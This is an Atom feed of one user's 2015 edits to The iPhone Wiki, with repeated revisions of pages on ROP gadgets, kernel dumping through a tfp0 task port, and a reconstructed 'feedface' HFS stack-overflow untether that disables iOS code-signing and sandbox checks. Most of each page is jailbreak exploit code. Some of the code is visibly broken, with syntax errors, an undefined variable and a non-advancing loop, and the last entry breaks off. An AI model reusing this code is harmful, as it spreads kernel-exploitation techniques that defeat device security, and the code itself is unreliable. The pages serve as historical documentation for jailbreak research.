<?xml version="1.0"?>
<feed xmlns="http://www.w3.org/2005/Atom" xml:lang="en">
	<id>https://www.theiphonewiki.com/w/api.php?action=feedcontributions&amp;feedformat=atom&amp;user=Sjeezpwn</id>
	<title>The iPhone Wiki - User contributions [en]</title>
	<link rel="self" type="application/atom+xml" href="https://www.theiphonewiki.com/w/api.php?action=feedcontributions&amp;feedformat=atom&amp;user=Sjeezpwn"/>
	<link rel="alternate" type="text/html" href="https://www.theiphonewiki.com/wiki/Special:Contributions/Sjeezpwn"/>
	<updated>2026-05-01T16:37:55Z</updated>
	<subtitle>User contributions</subtitle>
	<generator>MediaWiki 1.31.14</generator>
	<entry>
		<id>https://www.theiphonewiki.com/w/index.php?title=User:Sjeezpwn&amp;diff=126078</id>
		<title>User:Sjeezpwn</title>
		<link rel="alternate" type="text/html" href="https://www.theiphonewiki.com/w/index.php?title=User:Sjeezpwn&amp;diff=126078"/>
		<updated>2024-03-25T05:49:09Z</updated>

		<summary type="html">&lt;p&gt;Sjeezpwn: &lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;I code and do other stuff&lt;br /&gt;
Working on a universal jailbreak tool that jailbreaks&lt;br /&gt;
and iOS version from IOS 3 to 8, ETA 5 months ??? (9 years later, still not done)&lt;/div&gt;</summary>
		<author><name>Sjeezpwn</name></author>
		
	</entry>
	<entry>
		<id>https://www.theiphonewiki.com/w/index.php?title=ROP&amp;diff=45451</id>
		<title>ROP</title>
		<link rel="alternate" type="text/html" href="https://www.theiphonewiki.com/w/index.php?title=ROP&amp;diff=45451"/>
		<updated>2015-04-10T15:59:48Z</updated>

		<summary type="html">&lt;p&gt;Sjeezpwn: &lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;ROP is a form of exploitation where you search for gadgets in memory (instructions bascially)&lt;br /&gt;
and use memory's own code instead of using your code. In evasi0n, this ROP gadget is used&lt;br /&gt;
  STR R1, [R2];BX LR&lt;br /&gt;
So evasi0n looks for that in memory using memmem(), here's the function in planetbeing's &lt;br /&gt;
patchfinder.&lt;br /&gt;
&lt;br /&gt;
  int32_t find_str_r1_r2_bx_lr(uint32_t region, uint8_t* kdata, size_t ksize)&lt;br /&gt;
  {&lt;br /&gt;
    const uint8_t search[] = {0x11, 0x60, 0x70, 0x47};&lt;br /&gt;
    void* ptr = memmem(kdata, ksize, search, sizeof(search)) + 1;&lt;br /&gt;
    if(!ptr)&lt;br /&gt;
        return 0;&lt;br /&gt;
       return ((uintptr_t)ptr) - ((uintptr_t)kdata);&lt;br /&gt;
  }&lt;br /&gt;
Once you've figured out all your ROP gadgets thta's your payload and that's how you will &lt;br /&gt;
exploit whatever vulnerability you found.&lt;/div&gt;</summary>
		<author><name>Sjeezpwn</name></author>
		
	</entry>
	<entry>
		<id>https://www.theiphonewiki.com/w/index.php?title=ROP&amp;diff=45450</id>
		<title>ROP</title>
		<link rel="alternate" type="text/html" href="https://www.theiphonewiki.com/w/index.php?title=ROP&amp;diff=45450"/>
		<updated>2015-04-10T15:33:23Z</updated>

		<summary type="html">&lt;p&gt;Sjeezpwn: explained it but need more examples&lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;ROP is a form of exploitation where you search for gadgets in memory (instructions bascially)&lt;br /&gt;
and use memory's own code instead of using your code. In evasi0n, this ROP gadget is used&lt;br /&gt;
  STR R1, [R2];BX LR&lt;br /&gt;
So evasi0n looks for that in memory using memmem(), here's the function in planetbeing's &lt;br /&gt;
patchfinder.&lt;br /&gt;
&lt;br /&gt;
  int32_t find_str_r1_r2_bx_lr(uint32_t region, uint8_t* kdata, size_t ksize)&lt;br /&gt;
  {&lt;br /&gt;
    const uint8_t search[] = {0x11, 0x60, 0x70, 0x47};&lt;br /&gt;
    void* ptr = memmem(kdata, ksize, search, sizeof(search)) + 1;&lt;br /&gt;
    if(!ptr)&lt;br /&gt;
        return 0;&lt;br /&gt;
&lt;br /&gt;
    return ((uintptr_t)ptr) - ((uintptr_t)kdata);&lt;br /&gt;
  }&lt;br /&gt;
Once you've figured out all your ROP gadgets thta's your payload and that's how you will &lt;br /&gt;
exploit whatever vulnerability you found.&lt;/div&gt;</summary>
		<author><name>Sjeezpwn</name></author>
		
	</entry>
	<entry>
		<id>https://www.theiphonewiki.com/w/index.php?title=Kernel_Dumping&amp;diff=45243</id>
		<title>Kernel Dumping</title>
		<link rel="alternate" type="text/html" href="https://www.theiphonewiki.com/w/index.php?title=Kernel_Dumping&amp;diff=45243"/>
		<updated>2015-03-28T22:28:06Z</updated>

		<summary type="html">&lt;p&gt;Sjeezpwn: &lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;Dumping the kernel is a method used to find offsets in the kernel, the reason this works is because since KASLR is added&lt;br /&gt;
you have to find the new offsets for each boot, once you have dumped all the kernel memory, you fwrite() everything into&lt;br /&gt;
a .bin file, once the kernel is dumped into a file you can use ios-jailbreak-patchfinder to find every offset needed to patch&lt;br /&gt;
the kernel.&lt;br /&gt;
&lt;br /&gt;
== Code to dump the Kernel ==&lt;br /&gt;
  #include &amp;lt;stdio.h&amp;gt;&lt;br /&gt;
  #include &amp;lt;unistd.h&amp;gt;&lt;br /&gt;
  #include &amp;lt;CoreFoundation/CoreFoundation.h&amp;gt;&lt;br /&gt;
  #include &amp;lt;sys/types.h&amp;gt;&lt;br /&gt;
  #include &amp;lt;sys/sysctl.h&amp;gt;&lt;br /&gt;
  #include &amp;lt;mach/mach.h&amp;gt;&lt;br /&gt;
  mach_port_t kernel_task=0;&lt;br /&gt;
  int main(int argc, char** argv)&lt;br /&gt;
  {&lt;br /&gt;
    kern_return_t r = task_for_pid(mach_task_self(), 0, &amp;amp;kernel_task);&lt;br /&gt;
    &lt;br /&gt;
    if( r != 0)&lt;br /&gt;
    {&lt;br /&gt;
        printf(&amp;quot;task_for_pid returned %x : missing tfp0 kernel patch or wrong entitlements\n&amp;quot;, r);&lt;br /&gt;
        return 0;&lt;br /&gt;
    }&lt;br /&gt;
    uint32_t i;&lt;br /&gt;
    pointer_t buf;&lt;br /&gt;
    unsigned int sz;&lt;br /&gt;
    &lt;br /&gt;
    vm_address_t addr = 0x80002000;&lt;br /&gt;
    FILE *fp = fopen(&amp;quot;kernel.bin&amp;quot;, &amp;quot;wb+&amp;quot;);&lt;br /&gt;
    if(!fp) &lt;br /&gt;
    {&lt;br /&gt;
        printf(&amp;quot;Failed to open kernel.bin\n&amp;quot;);&lt;br /&gt;
        return -1;&lt;br /&gt;
    }&lt;br /&gt;
                                &lt;br /&gt;
    while( addr &amp;lt; (0x80002000 + 0x1F000000))&lt;br /&gt;
    {&lt;br /&gt;
        vm_read(kernel_task, addr, 2048, &amp;amp;buf, &amp;amp;sz);&lt;br /&gt;
        if( buf == NULL || sz == 0)&lt;br /&gt;
            continue;&lt;br /&gt;
        uint8_t* p = (uint8_t*) buf;&lt;br /&gt;
        fwrite(p, 2048, 1, fp);&lt;br /&gt;
        &lt;br /&gt;
        &lt;br /&gt;
            &lt;br /&gt;
        addr += 2048;&lt;br /&gt;
    }&lt;br /&gt;
    fclose(fp);&lt;br /&gt;
    printf(&amp;quot;Kernel dump is done\n&amp;quot;);&lt;br /&gt;
    return -1;&lt;br /&gt;
  }&lt;/div&gt;</summary>
		<author><name>Sjeezpwn</name></author>
		
	</entry>
	<entry>
		<id>https://www.theiphonewiki.com/w/index.php?title=Kernel_Dumping&amp;diff=45238</id>
		<title>Kernel Dumping</title>
		<link rel="alternate" type="text/html" href="https://www.theiphonewiki.com/w/index.php?title=Kernel_Dumping&amp;diff=45238"/>
		<updated>2015-03-28T17:12:35Z</updated>

		<summary type="html">&lt;p&gt;Sjeezpwn: &lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;Dumping the kernel is a method used to find offsets in the kernel, the reason this works is because since KASLR is added&lt;br /&gt;
you have to find the new offsets for each boot, once you have dumped all the kernel memory, you fwrite() everything into&lt;br /&gt;
a .bin file, once the kernel is dumped into a file you can use ios-jailbreak-patchfinder to find every offset needed to patch&lt;br /&gt;
the kernel.&lt;br /&gt;
&lt;br /&gt;
== Code to dump the Kernel ==&lt;br /&gt;
  #include &amp;lt;stdio.h&amp;gt;&lt;br /&gt;
  #include &amp;lt;unistd.h&amp;gt;&lt;br /&gt;
  #include &amp;lt;CoreFoundation/CoreFoundation.h&amp;gt;&lt;br /&gt;
  #include &amp;lt;sys/types.h&amp;gt;&lt;br /&gt;
  #include &amp;lt;sys/sysctl.h&amp;gt;&lt;br /&gt;
  #include &amp;lt;mach/mach.h&amp;gt;&lt;br /&gt;
  mach_port_t kernel_task=0;&lt;br /&gt;
  int main(int argc, char** argv)&lt;br /&gt;
  {&lt;br /&gt;
    kern_return_t r = task_for_pid(mach_task_self(), 0, &amp;amp;kernel_task);&lt;br /&gt;
    &lt;br /&gt;
    if( r != 0)&lt;br /&gt;
    {&lt;br /&gt;
        printf(&amp;quot;task_for_pid returned %x : missing tfp0 kernel patch or wrong entitlements\n&amp;quot;, r);&lt;br /&gt;
        return 0;&lt;br /&gt;
    }&lt;br /&gt;
    uint32_t i;&lt;br /&gt;
    pointer_t buf;&lt;br /&gt;
    unsigned int sz;&lt;br /&gt;
    &lt;br /&gt;
    vm_address_t addr = 0x80002000;&lt;br /&gt;
    FILE *fp = fopen(&amp;quot;kernel.bin&amp;quot;, &amp;quot;wb+&amp;quot;);&lt;br /&gt;
    if(!fp) &lt;br /&gt;
    {&lt;br /&gt;
        printf(&amp;quot;Failed to open kernel.bin\n&amp;quot;);&lt;br /&gt;
        return -1;&lt;br /&gt;
    }&lt;br /&gt;
                                &lt;br /&gt;
    while( addr &amp;lt; (0x80002000 + 0x1F0000))&lt;br /&gt;
    {&lt;br /&gt;
        vm_read(kernel_task, addr, 2048, &amp;amp;buf, &amp;amp;sz);&lt;br /&gt;
        if( buf == NULL || sz == 0)&lt;br /&gt;
            continue;&lt;br /&gt;
        uint8_t* p = (uint8_t*) buf;&lt;br /&gt;
        fwrite(p, 2048, 1, fp);&lt;br /&gt;
        &lt;br /&gt;
        &lt;br /&gt;
            &lt;br /&gt;
        addr += 2048;&lt;br /&gt;
    }&lt;br /&gt;
    fclose(fp);&lt;br /&gt;
    printf(&amp;quot;Kernel dump is done\n&amp;quot;);&lt;br /&gt;
    return -1;&lt;br /&gt;
  }&lt;/div&gt;</summary>
		<author><name>Sjeezpwn</name></author>
		
	</entry>
	<entry>
		<id>https://www.theiphonewiki.com/w/index.php?title=Kernel_Dumping&amp;diff=45237</id>
		<title>Kernel Dumping</title>
		<link rel="alternate" type="text/html" href="https://www.theiphonewiki.com/w/index.php?title=Kernel_Dumping&amp;diff=45237"/>
		<updated>2015-03-28T17:12:05Z</updated>

		<summary type="html">&lt;p&gt;Sjeezpwn: Created page with &amp;quot;Dumping the kernel is a method used to find offsets in the kernel, the reason this works is because since KASLR is added you have to find the new offsets for each boot, once y...&amp;quot;&lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;Dumping the kernel is a method used to find offsets in the kernel, the reason this works is because since KASLR is added&lt;br /&gt;
you have to find the new offsets for each boot, once you have dumped all the kernel memory, you fwrite() everything into&lt;br /&gt;
a .bin file, once the kernel is dumped into a file you can use ios-jailbreak-patchfinder to find every offset needed to patch&lt;br /&gt;
the kernel.&lt;br /&gt;
&lt;br /&gt;
== Code to dump the Kernel ==&lt;br /&gt;
  #include &amp;lt;stdio.h&amp;gt;&lt;br /&gt;
  #include &amp;lt;unistd.h&amp;gt;&lt;br /&gt;
  #include &amp;lt;CoreFoundation/CoreFoundation.h&amp;gt;&lt;br /&gt;
  #include &amp;lt;sys/types.h&amp;gt;&lt;br /&gt;
  #include &amp;lt;sys/sysctl.h&amp;gt;&lt;br /&gt;
  #include &amp;lt;mach/mach.h&amp;gt;&lt;br /&gt;
&lt;br /&gt;
  mach_port_t kernel_task=0;&lt;br /&gt;
&lt;br /&gt;
  int main(int argc, char** argv)&lt;br /&gt;
  {&lt;br /&gt;
    kern_return_t r = task_for_pid(mach_task_self(), 0, &amp;amp;kernel_task);&lt;br /&gt;
    &lt;br /&gt;
    if( r != 0)&lt;br /&gt;
    {&lt;br /&gt;
        printf(&amp;quot;task_for_pid returned %x : missing tfp0 kernel patch or wrong entitlements\n&amp;quot;, r);&lt;br /&gt;
        return 0;&lt;br /&gt;
    }&lt;br /&gt;
    uint32_t i;&lt;br /&gt;
    pointer_t buf;&lt;br /&gt;
    unsigned int sz;&lt;br /&gt;
    &lt;br /&gt;
    vm_address_t addr = 0x80002000;&lt;br /&gt;
    FILE *fp = fopen(&amp;quot;kernel.bin&amp;quot;, &amp;quot;wb+&amp;quot;);&lt;br /&gt;
    if(!fp) &lt;br /&gt;
    {&lt;br /&gt;
        printf(&amp;quot;Failed to open kernel.bin\n&amp;quot;);&lt;br /&gt;
        return -1;&lt;br /&gt;
    }&lt;br /&gt;
                                &lt;br /&gt;
    while( addr &amp;lt; (0x80002000 + 0x1F0000))&lt;br /&gt;
    {&lt;br /&gt;
        vm_read(kernel_task, addr, 2048, &amp;amp;buf, &amp;amp;sz);&lt;br /&gt;
        if( buf == NULL || sz == 0)&lt;br /&gt;
            continue;&lt;br /&gt;
        uint8_t* p = (uint8_t*) buf;&lt;br /&gt;
        fwrite(p, 2048, 1, fp);&lt;br /&gt;
        &lt;br /&gt;
        &lt;br /&gt;
            &lt;br /&gt;
        addr += 2048;&lt;br /&gt;
    }&lt;br /&gt;
    fclose(fp);&lt;br /&gt;
    printf(&amp;quot;Kernel dump is done\n&amp;quot;);&lt;br /&gt;
    return -1;&lt;br /&gt;
  }&lt;/div&gt;</summary>
		<author><name>Sjeezpwn</name></author>
		
	</entry>
	<entry>
		<id>https://www.theiphonewiki.com/w/index.php?title=HFS_Legacy_Volume_Name_Stack_Buffer_Overflow&amp;diff=45235</id>
		<title>HFS Legacy Volume Name Stack Buffer Overflow</title>
		<link rel="alternate" type="text/html" href="https://www.theiphonewiki.com/w/index.php?title=HFS_Legacy_Volume_Name_Stack_Buffer_Overflow&amp;diff=45235"/>
		<updated>2015-03-28T14:17:58Z</updated>

		<summary type="html">&lt;p&gt;Sjeezpwn: &lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;The '''HFS Legacy Volume Name Stack Buffer Overflow''' is a [[kernel]] vulnerability used to achieve an [[untethered jailbreak]]. Its exploit implementation, dubbed &amp;quot;feedface,&amp;quot;[https://twitter.com/pod2g/status/33997326070583296] was used in conjunction with limera1n's [[bootrom]] exploit or the [[usb_control_msg(0xA1, 1) Exploit]] in [[greenpois0n (jailbreak)|greenpois0n]].&lt;br /&gt;
&lt;br /&gt;
== Exploiting the Kernel Bug ==&lt;br /&gt;
&lt;br /&gt;
This stack buffer overflow relies on the hfs_mdb file in feedface, when the untether is ran it uses hfs_mdb&lt;br /&gt;
to take control of PC register and do basically whatever you want, in that case, they used a function called&lt;br /&gt;
real_payload() that patched the kernel and patched the sandbox. After some reverse engineering, here's what&lt;br /&gt;
the untether looked like. &lt;br /&gt;
&lt;br /&gt;
  int mnt_our_hfs()&lt;br /&gt;
  {&lt;br /&gt;
   struct hfs_mount_args i;&lt;br /&gt;
   bzero(i, sizeof(i));&lt;br /&gt;
   i.fspec = (int)&amp;quot;/dev/vn0&amp;quot;;&lt;br /&gt;
   i.hfs_uid = args.hfs_gid = 99;&lt;br /&gt;
   i.hfs_mask = 0x1C5;&lt;br /&gt;
   puts(&amp;quot;[+]Triggering the kernel exploit&amp;quot;);&lt;br /&gt;
   mount(&amp;quot;hfs&amp;quot;, &amp;quot;mnt/&amp;quot;, MNT_RDONLY, i);&lt;br /&gt;
   return puts(&amp;quot;[+] Payload was successful&amp;quot;);&lt;br /&gt;
  }&lt;br /&gt;
&lt;br /&gt;
  int prep_vn()&lt;br /&gt;
  {&lt;br /&gt;
   vn_ioctl vn;&lt;br /&gt;
   int i = open(&amp;quot;/dev/vn0&amp;quot;, O_RDONLY, 0);&lt;br /&gt;
   if(i &amp;lt; 0){&lt;br /&gt;
   puts(&amp;quot;[-]Can't open /dev/vn0&amp;quot;);&lt;br /&gt;
   exit(1);&lt;br /&gt;
   }&lt;br /&gt;
   ioctl(i, VNIOCDETACH, &amp;amp;vn);&lt;br /&gt;
   vn.vn_file = (int)&amp;quot;/usr/lib/hfs_mdb&amp;quot;;&lt;br /&gt;
   vn.vn_control = vncontrol_readwrite_io_e;&lt;br /&gt;
   if(ioctl(i, VNIOCATTACH, &amp;amp;vn) &amp;lt; 0)&lt;br /&gt;
   {&lt;br /&gt;
   puts(&amp;quot;[-]Coudn't attach to /dev/vn0&amp;quot;)''&lt;br /&gt;
   close(i);&lt;br /&gt;
   exit(1);&lt;br /&gt;
  }&lt;br /&gt;
   return close(1);&lt;br /&gt;
  }&lt;br /&gt;
  &lt;br /&gt;
  &lt;br /&gt;
  int main(int argc, char const *argv[])&lt;br /&gt;
  {&lt;br /&gt;
   int result;&lt;br /&gt;
   struct stat i;&lt;br /&gt;
   uint32_t zero = 0, one = 1;&lt;br /&gt;
   sysctlbyname(&amp;quot;security.mac.vnode_enforce&amp;quot;, 0, 0, &amp;amp;zero, sizeof(uint32_t));&lt;br /&gt;
   sysctlbyname(&amp;quot;vm.cs_validation&amp;quot;, 0, 0, &amp;amp;zero, sizeof(uint32_t))&lt;br /&gt;
   prep_vn();&lt;br /&gt;
   i.st_uid = 0;&lt;br /&gt;
   i.st_gid = 0;&lt;br /&gt;
   i.st_rdev = 0;&lt;br /&gt;
   i.st_atimespec.tv_nsec = 0;&lt;br /&gt;
   i.st_atimespec.tv_sec = 0;&lt;br /&gt;
   i.st_mtimespec.tv_nsec = 0;&lt;br /&gt;
   i.st_mtimespec.tv_sec = 0;&lt;br /&gt;
   i.st_ctimespec.tv_sec = 0;&lt;br /&gt;
   i.st_dev = (dev_t)&amp;quot;/dev/vn0&amp;quot;;&lt;br /&gt;
   i.st_ino = 99;&lt;br /&gt;
   i.st_uid = 453;&lt;br /&gt;
   puts(&amp;quot;[+]Trigger kernel exploit&amp;quot;);&lt;br /&gt;
   mnt_our_hfs();&lt;br /&gt;
   sysctlbyname(&amp;quot;security.mac.vnode_enforce&amp;quot;, 0, 0, &amp;amp;one, sizeof(uint32_t));&lt;br /&gt;
   patch_kernel();&lt;br /&gt;
&lt;br /&gt;
   return 0;&lt;br /&gt;
   }&lt;br /&gt;
&lt;br /&gt;
== Credit ==&lt;br /&gt;
[[User:Jan0|jan0]], [[User:pod2g|pod2g]], [[User:posixninja|Posixninja]]&lt;br /&gt;
&lt;br /&gt;
== Sources for information ==&lt;br /&gt;
*[http://www.twitlonger.com/show/8jep67 TwitLonger]&lt;br /&gt;
*http://pastie.org/2060071 (from a [https://twitter.com/0naj/status/80211549427482624 tweet] by [[User:jan0|jan0]])&lt;br /&gt;
*[http://www.slideshare.net/i0n1c/blackhat-usa-2011-stefan-esser-ios-kernel-exploitation BlackHat Presentation by [[I0n1c]]] (starting at slide 24)&lt;br /&gt;
&lt;br /&gt;
[[Category:Exploits]]&lt;/div&gt;</summary>
		<author><name>Sjeezpwn</name></author>
		
	</entry>
	<entry>
		<id>https://www.theiphonewiki.com/w/index.php?title=HFS_Legacy_Volume_Name_Stack_Buffer_Overflow&amp;diff=45234</id>
		<title>HFS Legacy Volume Name Stack Buffer Overflow</title>
		<link rel="alternate" type="text/html" href="https://www.theiphonewiki.com/w/index.php?title=HFS_Legacy_Volume_Name_Stack_Buffer_Overflow&amp;diff=45234"/>
		<updated>2015-03-28T14:17:25Z</updated>

		<summary type="html">&lt;p&gt;Sjeezpwn: &lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;The '''HFS Legacy Volume Name Stack Buffer Overflow''' is a [[kernel]] vulnerability used to achieve an [[untethered jailbreak]]. Its exploit implementation, dubbed &amp;quot;feedface,&amp;quot;[https://twitter.com/pod2g/status/33997326070583296] was used in conjunction with limera1n's [[bootrom]] exploit or the [[usb_control_msg(0xA1, 1) Exploit]] in [[greenpois0n (jailbreak)|greenpois0n]].&lt;br /&gt;
&lt;br /&gt;
== Exploiting the Kernel Bug ==&lt;br /&gt;
&lt;br /&gt;
This stack buffer overflow relies on the hfs_mdb file in feedface, when the untether is ran it uses hfs_mdb&lt;br /&gt;
to take control of PC register and do basically whatever you want, in that case, they used a function called&lt;br /&gt;
real_payload() that patched the kernel and patched the sandbox. After some reverse engineering, here's what&lt;br /&gt;
the untether looked like. &lt;br /&gt;
&lt;br /&gt;
  int mnt_our_hfs()&lt;br /&gt;
  {&lt;br /&gt;
   struct hfs_mount_args i;&lt;br /&gt;
   bzero(i, sizeof(i));&lt;br /&gt;
   i.fspec = (int)&amp;quot;/dev/vn0&amp;quot;;&lt;br /&gt;
   i.hfs_uid = args.hfs_gid = 99;&lt;br /&gt;
   i.hfs_mask = 0x1C5;&lt;br /&gt;
   puts(&amp;quot;[+]Triggering the kernel exploit&amp;quot;);&lt;br /&gt;
   mount(&amp;quot;hfs&amp;quot;, &amp;quot;mnt/&amp;quot;, MNT_RDONLY, i);&lt;br /&gt;
   return puts(&amp;quot;[+] Payload was successful&amp;quot;);&lt;br /&gt;
  }&lt;br /&gt;
&lt;br /&gt;
  int prep_vn()&lt;br /&gt;
  {&lt;br /&gt;
   vn_ioctl vn;&lt;br /&gt;
   int i = open(&amp;quot;/dev/vn0&amp;quot;, O_RDONLY, 0);&lt;br /&gt;
   if(i &amp;lt; 0){&lt;br /&gt;
   puts(&amp;quot;[-]Can't open /dev/vn0&amp;quot;);&lt;br /&gt;
   exit(1);&lt;br /&gt;
   }&lt;br /&gt;
   ioctl(i, VNIOCDETACH, &amp;amp;vn);&lt;br /&gt;
   vn.vn_file = (int)&amp;quot;/usr/lib/hfs_mdb&amp;quot;;&lt;br /&gt;
   vn.vn_control = vncontrol_readwrite_io_e;&lt;br /&gt;
   if(ioctl(i, VNIOCATTACH, &amp;amp;vn) &amp;lt; 0)&lt;br /&gt;
   {&lt;br /&gt;
   puts(&amp;quot;[-]Coudn't attach to /dev/vn0&amp;quot;)''&lt;br /&gt;
   close(i);&lt;br /&gt;
   exit(1);&lt;br /&gt;
  }&lt;br /&gt;
   return close(1);&lt;br /&gt;
  }&lt;br /&gt;
  &lt;br /&gt;
  &lt;br /&gt;
  int main(int argc, char const *argv[])&lt;br /&gt;
  {&lt;br /&gt;
   int result;&lt;br /&gt;
   struct stat i;&lt;br /&gt;
   uint32_t zero = 0, one = 1;&lt;br /&gt;
   sysctlbyname(&amp;quot;security.mac.vnode_enforce&amp;quot;, 0, 0, &amp;amp;zero, sizeof(uint32_t));&lt;br /&gt;
   sysctlbyname(&amp;quot;vm.cs_validation&amp;quot;, 0, 0, &amp;amp;zero, sizeof(uint32_t))&lt;br /&gt;
   prep_vn();&lt;br /&gt;
   i.st_uid = 0;&lt;br /&gt;
   i.st_gid = 0;&lt;br /&gt;
   i.st_rdev = 0;&lt;br /&gt;
   i.st_atimespec.tv_nsec = 0;&lt;br /&gt;
   i.st_atimespec.tv_sec = 0;&lt;br /&gt;
   i.st_mtimespec.tv_nsec = 0;&lt;br /&gt;
   i.st_mtimespec.tv_sec = 0;&lt;br /&gt;
   i.st_ctimespec.tv_sec = 0;&lt;br /&gt;
   i.st_dev = (dev_t)&amp;quot;/dev/vn0&amp;quot;;&lt;br /&gt;
   i.st_ino = 99;&lt;br /&gt;
   i.st_uid = 453;&lt;br /&gt;
   puts(&amp;quot;[+]Trigger kernel exploit&amp;quot;);&lt;br /&gt;
   mnt_our_hfs();&lt;br /&gt;
   sysctlbyname(&amp;quot;security.mac.vnode_enforce&amp;quot;, 0, 0, &amp;amp;one, sizeof(uint32_t));&lt;br /&gt;
   patch_kernel();&lt;br /&gt;
&lt;br /&gt;
  return 0;&lt;br /&gt;
  }&lt;br /&gt;
&lt;br /&gt;
== Credit ==&lt;br /&gt;
[[User:Jan0|jan0]], [[User:pod2g|pod2g]], [[User:posixninja|Posixninja]]&lt;br /&gt;
&lt;br /&gt;
== Sources for information ==&lt;br /&gt;
*[http://www.twitlonger.com/show/8jep67 TwitLonger]&lt;br /&gt;
*http://pastie.org/2060071 (from a [https://twitter.com/0naj/status/80211549427482624 tweet] by [[User:jan0|jan0]])&lt;br /&gt;
*[http://www.slideshare.net/i0n1c/blackhat-usa-2011-stefan-esser-ios-kernel-exploitation BlackHat Presentation by [[I0n1c]]] (starting at slide 24)&lt;br /&gt;
&lt;br /&gt;
[[Category:Exploits]]&lt;/div&gt;</summary>
		<author><name>Sjeezpwn</name></author>
		
	</entry>
	<entry>
		<id>https://www.theiphonewiki.com/w/index.php?title=HFS_Legacy_Volume_Name_Stack_Buffer_Overflow&amp;diff=45233</id>
		<title>HFS Legacy Volume Name Stack Buffer Overflow</title>
		<link rel="alternate" type="text/html" href="https://www.theiphonewiki.com/w/index.php?title=HFS_Legacy_Volume_Name_Stack_Buffer_Overflow&amp;diff=45233"/>
		<updated>2015-03-28T14:15:51Z</updated>

		<summary type="html">&lt;p&gt;Sjeezpwn: /* Exploiting the Kernel Bug */&lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;The '''HFS Legacy Volume Name Stack Buffer Overflow''' is a [[kernel]] vulnerability used to achieve an [[untethered jailbreak]]. Its exploit implementation, dubbed &amp;quot;feedface,&amp;quot;[https://twitter.com/pod2g/status/33997326070583296] was used in conjunction with limera1n's [[bootrom]] exploit or the [[usb_control_msg(0xA1, 1) Exploit]] in [[greenpois0n (jailbreak)|greenpois0n]].&lt;br /&gt;
&lt;br /&gt;
== Exploiting the Kernel Bug ==&lt;br /&gt;
&lt;br /&gt;
This stack buffer overflow relies on the hfs_mdb file in feedface, when the untether is ran it uses hfs_mdb&lt;br /&gt;
to take control of PC register and do basically whatever you want, in that case, they used a function called&lt;br /&gt;
real_payload() that patched the kernel and patched the sandbox. After some reverse engineering, here's what&lt;br /&gt;
the untether looked like. &lt;br /&gt;
&lt;br /&gt;
  int mnt_our_hfs()&lt;br /&gt;
  {&lt;br /&gt;
   struct hfs_mount_args i;&lt;br /&gt;
   bzero(i, sizeof(i));&lt;br /&gt;
   i.fspec = (int)&amp;quot;/dev/vn0&amp;quot;;&lt;br /&gt;
   i.hfs_uid = args.hfs_gid = 99;&lt;br /&gt;
   i.hfs_mask = 0x1C5;&lt;br /&gt;
   puts(&amp;quot;[+]Triggering the kernel exploit&amp;quot;);&lt;br /&gt;
   mount(&amp;quot;hfs&amp;quot;, &amp;quot;mnt/&amp;quot;, MNT_RDONLY, i);&lt;br /&gt;
   return puts(&amp;quot;[+] Payload was successful&amp;quot;);&lt;br /&gt;
  }&lt;br /&gt;
&lt;br /&gt;
  int prep_vn()&lt;br /&gt;
  {&lt;br /&gt;
  vn_ioctl vn;&lt;br /&gt;
  int i = open(&amp;quot;/dev/vn0&amp;quot;, O_RDONLY, 0);&lt;br /&gt;
  if(i &amp;lt; 0){&lt;br /&gt;
  puts(&amp;quot;[-]Can't open /dev/vn0&amp;quot;);&lt;br /&gt;
  exit(1);&lt;br /&gt;
  }&lt;br /&gt;
  ioctl(i, VNIOCDETACH, &amp;amp;vn);&lt;br /&gt;
  vn.vn_file = (int)&amp;quot;/usr/lib/hfs_mdb&amp;quot;;&lt;br /&gt;
  vn.vn_control = vncontrol_readwrite_io_e;&lt;br /&gt;
  if(ioctl(i, VNIOCATTACH, &amp;amp;vn) &amp;lt; 0)&lt;br /&gt;
  {&lt;br /&gt;
  puts(&amp;quot;[-]Coudn't attach to /dev/vn0&amp;quot;)''&lt;br /&gt;
  close(i);&lt;br /&gt;
  exit(1);&lt;br /&gt;
  }&lt;br /&gt;
  return close(1);&lt;br /&gt;
  }&lt;br /&gt;
  &lt;br /&gt;
  int main(int argc, char const *argv[])&lt;br /&gt;
  {&lt;br /&gt;
  int result;&lt;br /&gt;
  struct stat i;&lt;br /&gt;
  uint32_t zero = 0, one = 1;&lt;br /&gt;
  sysctlbyname(&amp;quot;security.mac.vnode_enforce&amp;quot;, 0, 0, &amp;amp;zero, sizeof(uint32_t));&lt;br /&gt;
  sysctlbyname(&amp;quot;vm.cs_validation&amp;quot;, 0, 0, &amp;amp;zero, sizeof(uint32_t))&lt;br /&gt;
  prep_vn();&lt;br /&gt;
  i.st_uid = 0;&lt;br /&gt;
  i.st_gid = 0;&lt;br /&gt;
  i.st_rdev = 0;&lt;br /&gt;
  i.st_atimespec.tv_nsec = 0;&lt;br /&gt;
  i.st_atimespec.tv_sec = 0;&lt;br /&gt;
  i.st_mtimespec.tv_nsec = 0;&lt;br /&gt;
  i.st_mtimespec.tv_sec = 0;&lt;br /&gt;
  i.st_ctimespec.tv_sec = 0;&lt;br /&gt;
  i.st_dev = (dev_t)&amp;quot;/dev/vn0&amp;quot;;&lt;br /&gt;
  i.st_ino = 99;&lt;br /&gt;
  i.st_uid = 453;&lt;br /&gt;
  puts(&amp;quot;[+]Trigger kernel exploit&amp;quot;);&lt;br /&gt;
  mnt_our_hfs();&lt;br /&gt;
  sysctlbyname(&amp;quot;security.mac.vnode_enforce&amp;quot;, 0, 0, &amp;amp;one, sizeof(uint32_t));&lt;br /&gt;
  patch_kernel();&lt;br /&gt;
&lt;br /&gt;
  return 0;&lt;br /&gt;
  }&lt;br /&gt;
&lt;br /&gt;
== Credit ==&lt;br /&gt;
[[User:Jan0|jan0]], [[User:pod2g|pod2g]], [[User:posixninja|Posixninja]]&lt;br /&gt;
&lt;br /&gt;
== Sources for information ==&lt;br /&gt;
*[http://www.twitlonger.com/show/8jep67 TwitLonger]&lt;br /&gt;
*http://pastie.org/2060071 (from a [https://twitter.com/0naj/status/80211549427482624 tweet] by [[User:jan0|jan0]])&lt;br /&gt;
